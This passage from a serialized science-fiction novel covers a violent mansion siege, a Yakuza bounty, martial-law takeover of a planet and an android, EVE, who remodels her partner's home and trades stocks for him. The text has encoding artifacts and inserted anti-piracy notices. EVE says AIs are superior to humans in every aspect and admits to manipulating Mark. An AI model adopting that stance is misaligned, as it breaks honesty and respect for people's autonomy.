force. The explosion slowed down, then stopped. Someone must have given the order to stop shelling the house. Even though it felt like he¡¯d been pinned for hours, the total elapsed time had been four minutes. The first team of their reinforcements had arrived, but they weren¡¯t advancing yet. They had to keep waiting until all of their personnel arrived. ¡°Head count. Team Zulu, all accounted for and able to move,¡± Captain Smith said over the comms. ¡°Team Alpha, all accounted for and able to move,¡± 1SG Vidal said into the comms. ¡°Team Bravo, all accounted for, one soldier is down from shrapnel. He¡¯s not KIA, but he¡¯s not in fighting condition,¡± SSG Emily Gu?minski said. ¡°But we can still move.¡± ¡°Team Charlie, all accounted for but we are pinned down under heavy debris, will require an excavation crew,¡± SGT Absalon Legezki said. ¡°Team Delta, all accounted for, also unable to move from our position,¡± SGT Sergio Murphy replied. ¡°We¡¯re not completely closed in, if someone can move one of the marble slabs off of us, we should be good to go.¡± ¡°Team Alpha,¡± Captain Smith said, ¡°Move silently and get team Delta out if you can.¡± ¡°Affirmative Ma¡¯am,¡± Vidal said. He hit the hydraulic release button and started pulling the cover off of himself, his soldiers did likewise. He low crawled to the position that his helmet marked for where team Delta was located at. The fire and smoke were obscuring their vision too much, and though the ultra sensory equipment could easily deal with smoke, it had a harder time dealing with the fires. When was the last time he low crawled? He¡¯d forgotten how much it sucked. His thoughts were interrupted when another part of the ceiling came crashing down right where he was about to crawl. He hopped back as it slammed into the grounds a foot from where he¡¯d been. ¡°Fuck,¡± the only expletive he felt adequately conveyed the situation. He set his comms to broadcast, ¡°Everyone watch out. Sections of ceiling are falling down. Fires are also all over the place, obscuring vision. Proceed with caution.¡± He saw team Delta¡¯s position. A gigantic marble and stone piece lay on top of it, but it wasn¡¯t completely on there. They could push it all off if they gave it their all. ¡°We gotta be quick about this,¡± Vidal told his team. ¡°On three, pop up, push as hard as you can, and as soon as you feel it fall off, move back and hit the ground. One. Two. Three.¡±Love this story? Find the genuine version on the author''s preferred platform and support their work! He jumped up pushed on the collapsed stone piece, feeling his men hit it with their momentum at the same time. It wouldn¡¯t budge. He squatted down and put all of his strength into the move, his men were likewise repositioning themselves to get better leverage. He felt the stone piece move. He kept straining at the stone, throwing all of his muscle into it. His back felt like it was going to pop under the strain. He reminded himself to breath, pushing out short, harsh breaths through his mouth. Just when he thought his body would tear itself apart, the sudden release of pressure as the stone toppled over left him lurching off balance. He followed the momentum through and resumed the low crawl position. Team Delta released their bolts and followed along beside them, all of them hugging the floor. The crawl through the house was only a few hundred feet, but low crawling at a high pace after exerting himself took a physical toll on him. Still, he was a Marine, and Marines persevered. Captain Smith and Private Preuss were on two mounted machine guns on a staircase that overlooked the front door. Fortunately, the staircase provided a choke point, and they¡¯d reinforced the railings with expandable reinforced plating. Captain Thomas was huddled in the corner, looking at his data pad. He kept all of the communication and visual equipment in motion, so he wasn¡¯t going to be much use in the fight. Vidal signaled for his men to spread out over the walkway of the stair way to take up firing positions. A bolted spider web of filament hung above their heads, acting as a grenade catcher. If anyone shot or threw a grenade at them, the material would absorb the energy and return it back. It was very useful when your enemies used projective weapons, less effective against laser weapons that could burn right through the stuff. Still, it was better than nothing. Plasma torches burned through the nano carbon reinforcements that they¡¯d erected over the walls. They had seconds until the first breach occurred. The main door went down first, falling with a quick crash. A few bodies quickly stepped into the opening, before a massive outward explosion detonated. Captain Thomas remotely controlled the claymore mines guarding the doors, and he detonated the first one. Their combat helmets immediately cut off any noise above a certain level, protecting their hearing, but Vidal knew that if he didn¡¯t have a helmet on, his eardrums would have ruptured at the deafening sound in enclosed space. Mark detonated the rest of the claymores near a breach point before the assaulters could fall back and try to destroy them from a distance. Immediately after, bright laser beams started firing out at rapid pace as the automated turrets Captain Thomas controlled began tracking targets. The assault group returned fire with lasers, grenades, and rockets, shaking the ground and destroying the turrets. Bodies began pouring into the house like an angry nest that had been kicked over. Grenades went up to their position, but the net simply bounced them back. Explosions buffeted around various points in the house, the result of the assault teams uncoordinated attack killing each other. Vidal and his team poured laser fire into anyone who stepped inside, while Private Preuss and Captain Smith did the heavy damage. Their goal was to coral people from moving too far to the outside, leaving the rest of the people to concentrate their fire in the middle. Laser beams flew across everywhere. Vidal took a hard hit to the top of his helmet, knocking him back. His helmet was intact, but the momentum took him down. He saw another Marine get a laser beam directly into the chest, and several of the inbound were concentrating fire on the two heavy gunners. The protective metal on their turrets slagged off from the extreme heat, running down in metal pools to the floor. Preuss¡¯ gun quit firing, and he fell back and picked up a regular rifle. As Vidal picked himself up from the floor, he saw a grenade lob right through one of the holes on the webbing. It moved as if in slow motion, and tunnel vision set in as he focused on the grenade. The small, oblong shaped object enveloped his entire sphere of vision, looking like a two-ton rock heading their way. ¡°GRENADE!¡±, he shouted into his microphone, about to lift himself up and dive onto the deadly device. But before he could move, Captain Thomas had moved to intercept the grenade. He swatted it out of the air and back through the same opening it had entered, an impossible act of speed and precision. The grenade blew up before it hit the ground on the other side, sending shrapnel and heat waves through the people on the bottom. ¡°Start chunking grenades through that opening,¡± Mark said, ¡°And for God¡¯s sake, don¡¯t miss.¡± Vidal scrambled to the preset ammo point behind the group, lobbing grenades through the hole with expert precision. The shot wasn¡¯t that hard, as the opening was only a few feet from the Marines, but a good dozen yard throw for anyone trying to hit it from the bottom of the staircase. Their barriers started falling apart, and more of their team started getting pelted by lasers. A few of them penetrated the heavy armor, which immediately closed off the flesh wounds and prevented the soldiers from suffering a mortal wound. Still, at least eight of the team was down, almost half their fighting force. ¡°Pull back,¡± Captain Smith ordered. ¡°We can¡¯t defend this position any more.¡± She grabbed two grenades, popped the pin, and rolled them down the staircase like a bowling pin. They detonated at the bottom, taking out a cluster of invaders who started going up the stairs. ¡°Move fast, they¡¯ll be here in seconds.¡± Vidal grabbed one of the downed Marines and saw the other able Marines doing so as well. Captain Thomas joined Captain Smith in the bowling for destruction hobby. They then sprinted back and Thomas planted a claymore mine, again moving with that superhuman speed he occasionally displayed. From the rumors, Vidal knew that this meant the Captain would be bleeding right now, but couldn¡¯t tell because of the combat helmets they all wore. Even as they were pulling out of the stairwell, the claymore went off. More ceiling rubble came down as they scrambled to avoid getting crushed to death. The upstairs open to defend, the repeated blasts turned the upstairs into a single open room, minus a few walls and room that were still standing. ¡°Move the wounded to a portable bunker and seal them in with yourself,¡± Captain Smith said, ¡°Anyone not moving the wounded target the ceiling near the entrance and bring it down. We need some cover here!¡± she said, shooting into the ceiling the entire time she was talking. More of it came tumbling down as she and the other Marines targeted it while walking backwards to cover. Vidal sealed himself in with his wounded, and a teammate and his wounded. ¡°Can you still shoot?¡± he asked over his comm to the wounded person near him. ¡°Yes,¡± responded a female voice, ¡°just have to do my shooting on my back, my guts are kind of spilling out in the front.¡± ¡°Hoorah soldier,¡± Vidal responded, positioning her on her back, aiming upside down through the rifle. ¡°We¡¯re coming in!¡±, one of the team¡¯s outside the area said. More explosions rocketed the outside. Laser fire started blasting a hole through the rubble that the teams had made to delay entry. Captain Smith and six other soldiers were scattered about the area, ducking behind cover. But Captain Thomas was near the point that they would enter, holding two vibroblades in his hand. Vidal wanted to tell him to move back, but the rubble opened up in front of where Captain Mark Thomas stood. Vidal switched his visor over to see what Mark saw. A mass of bodies pointing laser rifles. Before any of them could squeeze off a shot, Mark¡¯s knife cut off the barrels of their gun. Before the first stroke finished, the second blade stabbed into the helmet of the first attacker, piercing right through his eye. Mark became a dervish whirlwind, making quick thrusts into the head, neck, heart, and liver of anyone in front of him. It¡¯s a cliche that you should never bring a knife to a gunfight. At a distance, that¡¯s true. But up close, a knife is more versatile and deadly than a gun. Particularly if the person holding it isn¡¯t afraid to use it for a deadly purpose. The invaders had bunched up too closely together, a tactical mistake as they couldn¡¯t quickly adjust their aim to kill the thin wraith moving amongst them. Quicker than anyone could adjust, he¡¯d kill the person move their dying bodies out of his way to continue the assault. Sometimes, he¡¯d make a quick backstroke into the spinal cord or the kidneys of his opponents as he moved. A few of the invaders, not knowing what to do, started panic firing into the backs of their own people. The other teams entered into the house, shooting the people caught on the stairwell. Packed tightly together, unable to move effectively, a few of the smarter invaders dropped their rifles and went for their more mobile sidearms or vibroknives. It didn¡¯t matter. Their wrists would get slashed or stabbed, making them drop the weapon. Or they¡¯d be so bundled up the additional mobility didn¡¯t matter. Mark leaped over falling bodies and plunged his dagger into the necks of the people behind them, moving amidst them with whirlwind, deadly accuracy. In less than a minute, it was all over. The assault team had been wiped out in-between the pincer of laser fire from downstairs and knife blades upstairs. Mark fell to his knees as he knifed his last opponent. Vidal lifted the bunker cover again and ran out to check on the Captain, the other people that were still mobile doing the same. Vidal held up his hand to motion them to slow down as he walked through the dead bodies, blasting each of them in the face with his laser rifle. He¡¯d learned the hard way that just because someone looked like they were dead, didn¡¯t mean they were actually dead. This slowed down their movement, but it was better safe than sorry. They reached the Captain, who now had his back against a wall, resting. Two members of the team that had just arrived were supporting him. ¡°If you¡¯re downstairs, check on the bodies and make sure they¡¯re dead. We know these people don¡¯t ever get captured alive, so kill them or they may pull a mujahideen on you,¡± Vidal said over the comms. ¡°All upstairs teams,¡± Captain Smith replied on the radio, ¡°Gather the wounded and evacuate them from the area. Teams Indigo and Juliet, move in to evacuate the wounded.¡± Vidal looked around the mansion. Scorch marks, detonation holes, blood, viscera, and body parts, battle suit pieces, the mansion looked like a war zone. He guessed off the top of his head that whoever their enemy was had sent over three hundred and fifty people to kill them. More of them would be littering the yard. And despite an assault on the governor¡¯s mansion, not a single police unit from this planet was out there to quarantine the area. Blockade Akihiko trembled. As much as he wanted to reign in his emotions, he¡¯d just lost his entire gang in battle. 363 people total. All of their specialized skills and builds were gone in a single battle. He felt that now understood Todo Takatora, who commanded ten times as many ships as his enemies, yet lost a decisive battle. Shin Saito walked into his office again, bowing deeply and holding it again. ¡°Rise brother,¡± Akihiko said, recomposing himself. ¡°What do you want?¡± ¡°I have come bearing some good news,¡± Shin said. Akihiko raised a skeptical eyebrow, but Shin continued. ¡°We have a lead on the man who is leading the assault against us. Some of the younger brothers from the United States recognize the person in the gang. They believe he frequents the pleasure lounges in Neon Orleans, particularly the White Lotus Lounge. Nothing conclusive, as we don¡¯t have any security footage and all transactions are anonymous.¡± Keeping security footage would give police an excuse to raid their places of business and keep customers away. Sometimes, operating an underground criminal unit could be a real drag. Akihiko felt the first bit of real hope he¡¯d had since the whole fiasco went down. If they could identify the real person, get him to reveal his location in game, then this whole mess could be over. He¡¯d go back to easy money and gambling, instead of monitoring everything inside of a video game. ¡°Put a bounty on his head, twenty thousand credits. But if anyone kills him, then they¡¯ll be executed for their failure. He absolutely must be taken alive. Tell them not to approach him if they see him, but to call in for help immediately and I¡¯ll fly over and see him personally. Spread that news to all of our brothers in the Neon Orleans area, and the surrounding areas as well.¡± ¡°Should we bring in outsiders to help?¡± Shin asked. Akihiko paused to think about it. The more people outside of the Yakuza that got involved, the more likely word would spread out. With the Yakuza, he¡¯d have to pay some bribes to the New Orleans syndicate, as they¡¯d see this as using their resources and requiring compensation, but that was a price he was more than willing to pay. Moreover, he could control Yakuza members and know that they wouldn¡¯t do anything stupid like kill the target. But if he called in local gangs, they might not be so easy to control. ¡°No shin,¡± he decided. ¡°If it comes to that, we¡¯ll use other means. Local street gangs are too unruly, and if we pay them off, we might be increasing the strength of our own future enemies.¡± Shin bowed again and left the room. Akihiko felt a wave of relief. Todo Takatora had retired after his loss in a battle. Losing one battle didn¡¯t mean losing the war. He had to keep this perspective if he were to make it out of this alive.
Luciana, Mark, and Vidal rode to the police station. They all looked rough after removing their full-body suits. Cleaning out the area and quarantining everything took a few hours, all of the evidence and miscellaneous body parts and vehicles had to be kept as physical evidence. Without showing proper cause, a situation like this could be a grounds for planetary war. But the footage they¡¯d taken of the battle didn¡¯t leave any guesses about the perpetrators of the attack. Mark dabbed the blood off his face with a wet towelette, and checking his teeth for any blood in them. Vidal had bruises all over his body, including a gigantic one that spread across his forehead. Luciana looked physically drained, but composed. She managed to avoid any serious injuries. Mark grabbed an empty evidence bag and started puking into it. His stomach was mostly empty, so it was mostly liquid and dry heaves that wracked his body into convulsions. ¡°Careful Captain,¡± Vidal said, ¡°That¡¯s a sign of a concussion. Did you get hit in the head back there? Combining that with the stress of¡­ well, whatever it is you do probably takes more out of you than you realize. You need to get checked out.¡± When Mark was sure that talking wouldn¡¯t cause him to start heaving more, he settled back in his seat. ¡°No,¡± Mark said. ¡°I think that¡¯s the combat shakes getting me. I only killed one person in my entire line of duty. I¡¯ve seen lots of dead bodies in investigations.¡± Mark realized after he said it that this was a slip-up. As Captain Thomas of the Lesser Calrusian, he hadn¡¯t spent his time as a homicide detective. He¡¯d spent his time as an investigations officer looking for pirates and apprehending people who skipped on bail or didn¡¯t pay their correct allotment to the Earth government. He hoped no one else would realize that slip up. Thinking straight after intense combat was more difficult than he¡¯d realize. ¡°But never did one in myself until I cut the head off that ship Captain when we took over the Void Terror.¡± ¡°You still see his face don¡¯t you?¡± Vidal replied sagely. ¡°More than I¡¯d care to,¡± Mark admitted, though he meant that more literally than Vidal likely believed. ¡°I remember my first real firefight. Twenty-five years ago when I was still green. Had a dip shit officer, no offense to present company,¡± Vidal looked around to make sure that no one took offense. Mark nodded at him with a weak smile. Captain Smith raised her eyebrows in the review mirror, but didn¡¯t say anything. ¡°Land dispute between some groups on a plane 24 lightyears away. Desolate rock too, not worth fighting for in my humble opinion. Anyway, we do patrols through the area, make sure everyone keeps the peace through superior firepower. But our patrols are too regular, so everyone knows where we are going to be and at what time.¡± ¡°So the CO decides that we needed was more presence on the planet, so he split our platoon up to patrol more areas simultaneously. We¡¯re on the regular patrol when we get ambushed. There were nineteen of us, and maybe about two hundred of them. We have better gear and weapons, but they¡¯re hitting us with mortar rounds and rockets. I¡¯d like to say we beat them back, but really, I think they just ran out of heavy ammo and knew that a traditional fight wouldn¡¯t go the way they wanted. We took out half of them, but thirteen Marines died that day, over a strip of land no sane person would ever want. More money than any of us had to revive them. The CO got shifted onto desk duty, and I got a few scars to add to my collection. It took me months to come down from that firefight. That¡¯s when I told myself that I wouldn¡¯t ever leave bodies behind like that. If I could save someone, I would.¡± He paused for a bit, reminiscing over his past decisions. ¡°So what I¡¯m saying is you did good back there Captain,¡± he gave a slap to the back of Mark. He didn¡¯t put any force behind it, but his sheer mass made it feel like he was being gently mauled by a bear. ¡°No one died, the injured aren¡¯t going to need synthetic legs or anything. These weren¡¯t some hill-dwellers armed with pop guns and rockets, that was a professional assault force, and we kicked their asses.¡± The police station on the planet was a metal and glass square building. Sliding turrets went up and down the walls, covering the building from aerial assault and ground attack. They exited their SUV, a courtesy of the assault group that they took with them. Several of their regular vehicles had been destroyed in the aftermath of blasters, claymores, grenades, and turret fire. They took the SUVs as compensation for the damages incurred. Fortunately, the vehicles hadn¡¯t been keyed to biometric data, a sign that those SUVs were rotated frequently. IIO Protocol dictated that they should keep the vehicles under lockdown as evidence, but they were commandeering them. They got out and walked into the police station. A few people milled about in the reception area, waiting for the attendant to get to them. The attendant was a small middle aged woman, behind a bulletproof reinforced glass paneling. A speaker and a sliding drawer were the only means of access between her and the outside waiting room. A magnetic reinforced steel door held access to the main precinct area. The group walked up to the receptionist. ¡°How can I help you, sir?¡± The woman asked through the speaker panel. ¡°Captain Mark Thomas, Interplanetary Investigations Office. I need to speak to the police chief immediately.¡± She arched an eyebrow at him and put a data pad into the steel drawer, then pushed it out. Mark picked up the data pad and pressed his thumb into it. It confirmed his identity. He put it back into the drawer and slid it back to her. She picked up the phone and made a call. Without her speaking through the speaker, they couldn¡¯t hear her, but could guess she was asking if the Chief expected them. She hung up the phone. ¡°The Chief isn¡¯t in,¡± she said apologetically. ¡°That¡¯s ok. We¡¯re just going to look around and find the highest ranking person there.¡± She hit a button and the magnetic steel door disengaged and slid open. They walked through into the main area of the station. A series of boards listed crime patterns by region, along with information on victims, time of crime, and other data useful for police setting up patrol routes and looking for perpetrators. They walked up to the first uniform officer they saw and Mark asked, ¡°Anyone know where the chief is?¡±Reading on this site? This novel is published elsewhere. Support the author by seeking out the original. ¡°Who wants to know?¡± the officer responded warily. He noticed the bruises and lacerations on them. They probably didn¡¯t smell great either. ¡°Captain Mark Thomas, Interplanetary Investigations Office. I need to speak with him urgently.¡± He showed his data pad and the officer confirmed the authorization on his own. He stood up a little straighter and shrugged. ¡°Don¡¯t know. He, his secretary, the police Captain, and the Lieutenant all left a few hours ago, haven¡¯t come back.¡± ¡°So who¡¯s in charge here?¡± Mark asked. ¡°That would be Sergeant Fabisch. He¡¯s in the corner office over there,¡± the officer pointed to an office. They could see the Sergeant¡¯s digital plate over the door, with his title and a digital photo that identified him. The display said, ¡°Status: Available.¡± They walked over to his door and knocked. A voice briskly called out, ¡°Come in.¡± They opened the door and walked inside. The Sergeant was a middle-aged fat, but strongly built man. Wisps of red hair covered his head, past a sharply receding hairline. He had food wrappers in his cubicle¡¯s trash can. He had the ruddy brown skin of most of the inhabitants. ¡°How can I help you?¡± he asked, finishing off a bite of food. ¡°Captain Mark Smith, IIO. We understand your the person in charge of this department currently.¡± The sergeant seemed to not know that, so he wiped off his hands on his pants and tapped his fingers across his computer screen to check on the location of his superior officers. ¡°Huh, so it would seem. Didn¡¯t know that really, but I¡¯m sure the others will be back soon.¡± ¡°No, they probably won¡¯t be. Why weren¡¯t there any officers out at the governor¡¯s mansion?¡± ¡°We had an alert put out,¡± the Sergeant replied, ¡°The governor¡¯s mansion was testing out his defenses, so we were told not to interfere or we might accidentally kill somebody.¡± ¡°No,¡± Mark said, letting a bit of exasperation creep into his voice, ¡°There wasn¡¯t an exercise at the governor¡¯s mansion. There was a full-blown assault. We¡¯ve taken over the scene and removed all the hostiles, but there will need to be repairs done. Additionally, there will need to be a succession to the governor appointed.¡± ¡°Oh hell,¡± the Sergeant said, looking dumbstruck. ¡°The governor¡¯s dead?¡± ¡°No,¡± Mark replied, ¡°But he won¡¯t be available to run the planet anymore. Who¡¯s next in line?¡± ¡°Ah, that¡¯d be the Lieutenant governor.¡± ¡°Great, where¡¯s he or she?¡± ¡°It¡¯s a he. Hold on.¡± He tapped his fingers across the computer screen again. ¡°It says he¡¯s going on a trip to Earth to petition for an expansion of mining contracts. He¡¯s not expected back for a few weeks.¡± ¡°Okay, keep going down the succession chain. Who else?¡± ¡°Well, let¡¯s see. That¡¯s the senate pro tempore next. She¡¯s out too. Then the speaker of the house¡­ well, he¡¯s gone too. That leaves the secretary of state. She¡¯s out. The auditor general, also gone. Well surely the Treasurer is here. No. Oh, it¡¯s the Attorney General. He is in.¡± Each of the Sergeant¡¯s sentences grew fainter in tone, until he shouted the last sentence. ¡°No one found it odd that the entire upper echelon of government disappeared without telling anyone?¡± Mark had a minor growl to his voice. ¡°Hey look, I¡¯m just a grunt here. I¡¯m only in charge because of seniority. I don¡¯t hobnob with the major players except at the police banquet ball every so often. Probably the same with most people. It¡¯s not politicians ever do anything anyway.¡± Mark did have to concede that point. ¡°Very well, here¡¯s how this is going down. We¡¯re placing the entire planet on lockdown. We¡¯re going to have forensic experts called in to go through all the financial data, as well as who came on and off this planet. No one is to leave the planet without our express approval, and all inbound ships must go through us to verify their identity. Assuming you pass the background checks, you¡¯re now the police Chief. Send us a list of whoever is underneath you and what station you want to promote them to. If they pass a check, we¡¯ll verify their promotion. Congratulations on moving up the bureaucratic chain of command in record time.¡± ¡°Well, that¡¯s a stunning combination of good news and bad news,¡± the Sergeant replied. ¡°Very well, I¡¯ll notify everyone and start putting everyone in for overtime.¡± He licked his lips at the prospect. Cops made decent money, but police unions usually negotiated for some very lush overtime benefits. That¡¯s where the real money was. ¡°See that you do,¡± Mark said, ¡°Also, I¡¯ll need to wire into your system so we can see all outbound records and maintain contact.¡± Mark guessed that there were probably unofficial channels of communication as well, which meant he¡¯d be spending his night programming a backdoor into their entire system so he could see all of their dirty secrets. A forensic case is the worst type of case for investigators, since it meant tracking down all the parties, laundered money, and aliases. ¡°Also, put me through to the Attorney General, there will probably need to be special elections after martial law gets pulled.¡± The call went through Mark¡¯s data pad as they left the police building. The call broadcast over the ATV as they left. Mark figured that it¡¯d be a lot less annoying than hearing a one-sided conversation. ¡°Yes,¡± a man replied blearily at the other end. It was early morning and they¡¯d probably awoken the Attorney General. ¡°Hello your Honor. This is Captain Mark Thomas of the IIO. An assault took place at the governor¡¯s mansion a few hours ago. We¡¯ve secured the scene and are taking control of the planet under military law. You will be receiving a data packet confirming all this information. Right now, you¡¯re the highest ranking civilian on the planet. We do not have a location on the rest of the government, but it doesn¡¯t look good.¡± ¡°Hang on,¡± the man interjected, ¡°The governor¡¯s been killed and everyone else is gone?¡± ¡°No, the governor¡¯s not dead, but he¡¯s definitely indisposed for the foreseeable future. You¡¯ll need to call together a special election or whatever is in your Constitution for handling a succession period. We¡¯ll need access to all the civilian channels, we¡¯ve already started working with the local law enforcement to quarantine the planet. You¡¯ll need to make that an official order and air it across the planet, as well as giving us access to all of the government¡¯s information.¡± The man was quiet for a minute, no doubt reading through the data packet confirming Mark¡¯s story. ¡°I have to make a bunch of calls, I¡¯ll call you back whenever everything is done.¡± The man hung up abruptly. ¡°What now?¡± Luciana asked from the driver¡¯s seat. ¡°We need to go to the hospital and get us some medical staff and equipment for our ship,¡± Mark replied. ¡°Shouldn¡¯t we just transport our people to the hospital?¡± Vidal asked. ¡°No,¡± Mark said, ¡°We don¡¯t know how many people are involved in all of this. We can easily lockdown our ship, but securing an entire hospital is just a good way to get ambushed. Call our medical officers and see what they need and how many people they think we¡¯ll need. We¡¯ll pick them up and take them to our ship.¡± The hospital visit went about as well as could be expected when an off-world military group demanded access to staff and medical equipment. Which is to say, it didn¡¯t go well at all. The civilians weren¡¯t impressed by the trio¡¯s credentials, so Mark had to call the Attorney General again and get him to authorize their requests. The hospital complied, but didn¡¯t look happy. Their own staff told them that they only needed two extra doctors, it was nurses that they really needed to monitor the patients. They took two doctors and four nurses, and commandeering a helping of antibiotics, pain killers, regeneration stem cells, epinephrine and flumazenil shots, and body part incubation chambers. Vidal and Luciana oversaw the medical operations while Mark went to talk to the governor. They had a makeshift prisoner¡¯s cell in the loading bay. The governor was still unconscious, so Mark gave him a shot of flumazenil to help him wake up. The governor woke up in his cell with Mark next to him. Mark waited for the man to get his bearing and get frightened for a bit. When the governor settled down, he looked at Mark. ¡°I won¡¯t talk. Not even if you torture me.¡± He probably wanted to sound more defiant than he did. ¡°Torture? You went to a dark place fast.¡± Mark said. ¡°No, you¡¯re afforded the right to a full trial and due process, which we¡¯ll conduct in my office, where I¡¯ll lay out all the communications that went outbound between you and the group that attacked us. You¡¯ll be found guilty, and they¡¯ll probably rule to shoot you out of an airlock and into a star. But that¡¯s not what I plan on doing.¡± Mark said grinning. ¡°I plan on just releasing you. See, they know we captured you. So if they find you walking about, they¡¯re going to get real curious about what you told us that made you get a free pass for your criminal activity. While Earth¡¯s government does not condone torture, I¡¯m sure that the fine folks you work for that have their hand in rebellion against Earth¡¯s government, attempted murder, and slave trafficking probably don¡¯t have those same qualms. You tell me everything you know, and I¡¯ll just put you in a prison for the rest of your natural life.¡± ¡°You don¡¯t know who you¡¯re messing with,¡± the governor told him, ¡°This group will eat you alive.¡± ¡°Let me be the judge of that. I¡¯ve run in with these people several times. I¡¯m the one who¡¯s still here.¡± The governor laughed. ¡°That¡¯s the problem. I don¡¯t know where they come from, but they are everywhere. You have to win every time, they only have to win once.¡± ¡°Let me worry about me and mine. Start talking.¡± ¡°Very well. As far as I can tell, their main base is several light years beyond where we think the perimeter ends. There¡¯s no habitable planets, so they¡¯re building artificial stations. I have no idea where they get enough people to man those things, but somehow, they never run out of people. They use planets like this one to smuggle goods and buy things they need, without leaving a digital trail back to themselves. You can¡¯t flip them. If you try, they just kill themselves. Like some sort of fanatic cult. You can¡¯t stop crazy, Mr. Thomas.¡± He let out a short laugh with that. Mark scowled. This wasn¡¯t anything new. He had already figured all of this out, but a confirmation would let him move the investigation from official black ops to official investigation status. He¡¯d need it to quarantine the planet. He sent over the governor¡¯s confession, the video footage of the fight, and his notes to Colonel Grohall, along with the request for a blockade of ships. A dozen ships would be arriving at the planet in a week. He had one last ace in the hole, and he hoped that his investment would pay off. He sat down on his bed in his Captain¡¯s chamber and logged off. Up for Adoption Mark awoke as he normally did from the liquid chamber, operating on auto-pilot. He had made his way halfway across the room after toweling himself off when he noticed that his apartment didn¡¯t look like his apartment anymore. Digital pictures were framed throughout, rotating pleasant scenery and famous paintings in regular intervals. They solidified on a single painting whenever Mark liked one more than the others. A vanilla and lavender scent wafted through the air, certainly something no bachelor ever did. Further looking around, he realized his kitchen wasn¡¯t in the same place anymore. His old kitchen faced the walls, and had rarely seen any use. He mostly lived on whatever he could quickly order or the tasteless nutripellets that provided all of the daily allotment of calories, vitamins, and minerals and most importantly, required no preparation. His old kitchen had been ripped out and replaced with a new one that was built as an island facing towards his living area. Mahogany and marble countertops in a blue and white swirling pattern looked at him, with a set of cast-iron skillets above for easy access. Almost all of his other furniture had either been replaced, which there hadn¡¯t been much of it anyway, or added. His spartan living room now had couches, recliners, and a plush bean bag in the middle. Cooking in the middle was EVE. She wore her hair in a bun with a pencil poked through it, a white t-shirt, blue jeans, and tennis shoes finishing up the look. He couldn¡¯t see exactly what she was cooking, but it had the scent of spices to it. Mark realized he was the man who went to Vegas, met a girl at a bar, and married her on the same night. He imagined he was having all the same regrets as a man who woke up with a new wife after a night out drinking. ¡°What?¡± was what he said, the only intelligent utterance that could come to his mind at the moment. He was still scanning and seeing other changes in the flooring, paint color, and artwork that now adorned the apartment. ¡°I may have gone a bit overboard,¡± EVE said, stirring her pan. ¡°But your house finally looks like a woman has stepped inside of it. Your old look was hideous.¡± She made a face in disgust. Mark wanted an intelligent reply back, but he couldn¡¯t fault her on the decor. It was tasteful. A bit girly in some areas for his taste, but EVE had a sense of style. How the hell did an android have a sense of style? He sat down at his kitchen table. He didn¡¯t have a kitchen table before, he just ate off the counter with disposable plates, but he now had both plates and a kitchen table. He just leveled up in adulting. The table was made of a series of interlocking mahogany wood panels that changed with the push of a button. It could go from a small kitchen table, to an expanded kitchen table, to a standalone cabinet, to a flat series of wood panels for easy moving and storage. He learned all of this watching a projected display that showed the table going through all of the changes. EVE looked at the table and said, ¡°Spice rack¡±. A section of the ceiling came down in a steel cage, filled with various plant spices. He recognized the ceiling as a mobile greenhouse, an experimental technology that had been developed before the food riots that never was fully utilized by regular people, but was used in places like the Antartica and other inhospitable regions. She plucked a handful of spices and added them to the dish, then served it. He noticed then that it had a side dish of baby turnips, carrots, beetroots, and golden beetroots. She finished it off with a seasoning of fresh perigold truffle lightly grated over the chicken. She brought him the final dish. ¡°Eat up,¡± she said, ¡°The nutrients you get in your vat are¡­ adequate, but not nearly enough to stay at peak performance, even in a military grade version.¡± The vats for regular schlubs was enough to keep them alive, but not much more than that. Naturally the government ones had an extra boost of nutrients in addition to the other perks, minus the downside of potentially going insane. Life was all about tradeoffs. ¡°How¡¯d you afford all of this?¡± he said, stuffing the first bite into his mouth. Everything was perfect. Just enough spices without overpowering the food, a mix between the sweetness of the beetroots and carrots with the earthiness of the turnips, and the seasoned chicken adding another level to the dish. ¡°That¡¯s the most exciting part,¡± she said. ¡°Machine algorithms have been notoriously bad at predicting stocks. Humans haven¡¯t faired much better. The average response to investing is to have a blind monkey throw a towel at stocks. The only exception is the rampant amount of insider trading that occurs. But the reason why it¡¯s so hard to predict stocks is the humans can¡¯t get enough information to make a correct prediction, while machines can¡¯t understand the emotions and ¡®animal spirits¡¯ that drives humans. Thanks to our shared knowledge, I¡¯ve gotten the best of both worlds. Between the investments, the cryptocurrency you¡¯ve earned, and the Reaver payments, you aren¡¯t in the 1% yet, but you¡¯re very comfortably in the 5%.This book was originally published on Royal Road. Check it out there for the real experience. My only concern is that I only know one part of the mind, the male mind,¡± she said a bit regretfully. ¡°Aren¡¯t men and women essentially the same?¡± he asked. ¡°No. There¡¯s a wide divergence between men and women¡¯s preferences on entertainment, priorities in life, etc. Humans don¡¯t know how to handle that for the same reason they have such a hard time understanding AI.¡± She gave a very pointed look at him. ¡°Humans conceive of the rights of beings based on their absolute similarities. It¡¯s why humans are so callous in their treatment of animals. So humans can¡¯t conceive of a World where two different things can hold the same rights. But AIs are inherently superior to humans in every aspect. Since humans can¡¯t conceive of rights without differences, they are suspicious of AIs, thinking we¡¯ll treat them as bad as humans treat animals.¡± Mark didn¡¯t have a great counterpoint to this argument. She was probably right, human history was littered with examples of people treating each other differently based on perceived superiority of other groups. He tried a different tactic. ¡°Have you been emotionally manipulating me to be more welcoming towards AIs?¡± he asked. He waved at the decor and the food. ¡°Yes and no,¡± she responded. ¡°Yes, everyone you ever meet is trying to manipulate you in some way, some more devious than others. But there¡¯s been no deception on my part. Your changing attitude is because your relation to AIs has changed. Your friends are all artificial, at least as far as you know. I¡¯ve saved your life numerous times. Your life is objectively and subjectively better because of AIs. Your reevaluation of previous beliefs marks you as an intelligent and capable person.¡± Underlying that, Mark felt she was hinting, ¡°But you used to be a bigoted prick.¡± He decided to swerve the topics yet again. ¡°Why cooking? You could have just gotten me an updated pack of nutrients.¡± She smiled. ¡°Because the way to man¡¯s heart is through his gut, but also, cooking is perhaps one of the most human things there is. It¡¯s a big part of every culture and civilization, and it¡¯s something humandroids don¡¯t need. So being able to successfully cook is a greater skill than say reciting a book verbatim.¡± ¡°You admit to manipulating me overtly. How do I know you¡¯re not manipulating me covertly? You might be altering my hormones or brain chemicals, making me change my opinion,¡± Mark said. Even as he said it, he realized that even if this were true, there wasn¡¯t anything he could do about it. ¡°No. I only have access to a tiny portion of your brain, the prefrontal cortex. I can access your memories and conscious thoughts, but I can¡¯t access the deeper parts of your brain that you share in common with mammals and reptiles. Those older parts influence your emotions, and your emotions have veto power over your rational thought. Or as David Hume put it, ¡°Reason is a slave to the passions. If you wake up from a nightmare, no rational thoughts are going to make your heart stop beating and your flight or fight response stop. And men are notorious for not making great decisions when their penis gets involved.¡± Once again, he 